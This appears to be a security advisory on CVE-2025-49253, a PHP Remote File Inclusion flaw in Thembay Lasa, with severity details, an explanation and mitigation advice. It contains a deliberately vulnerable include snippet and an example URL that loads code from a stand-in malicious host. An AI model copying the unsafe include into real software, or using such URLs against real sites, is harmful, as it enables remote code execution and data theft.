CVE-2025-49253: High Severity PHP Remote File Inclusion Vulnerability in Thembay Lasa

Overview

In the rapidly evolving world of cybersecurity, vulnerabilities are discovered and patched regularly. One such vulnerability has recently come to light that affects users of Thembay’s Lasa PHP program. The vulnerability, identified as CVE-2025-49253, concerns an improper control of the filename for include/require statement, which can lead to a PHP Remote File Inclusion (RFI). This vulnerability is especially critical as it could potentially lead to a system compromise or data leakage if exploited by malicious actors.
The severity of this vulnerability is significant, evidenced by its CVSS score of 8.1. Therefore, it is essential for all users and administrators of Thembay Lasa to understand the details of this vulnerability and take immediate steps to mitigate its potential impact.

Vulnerability Summary

CVE ID: CVE-2025-49253
Severity: High, CVSS Score 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Thembay Lasa | Up to 1.1

How the Exploit Works

The exploit works by manipulating the PHP include or require statements in Thembay Lasa. In a standard operating environment, these statements are used to include a file as if it were a part of the original script. However, if the filename is improperly controlled, it could lead to a PHP Remote File Inclusion vulnerability.
In this case, an attacker could remotely inject a file hosted on a different server, resulting in the execution of arbitrary PHP code. This code execution happens in the context of the application, potentially leading to a full system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited:

<?php
// The attacker could manipulate the $file variable to include a remote file
$file = $_GET['file'];
include($file . ".php");
?>

In this example, an attacker could provide a URL like `www.vulnerablewebsite.com/page.php?file=http://maliciouswebsite.com/maliciouscode` to execute their malicious PHP code on the server.

Mitigation Guidance

Users and administrators of Thembay Lasa are advised to apply the vendor patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can detect and prevent attempts to exploit this vulnerability, reducing the potential risk of a successful attack.
Remember, in the world of cybersecurity, awareness and prompt action are the best defenses against potential threats.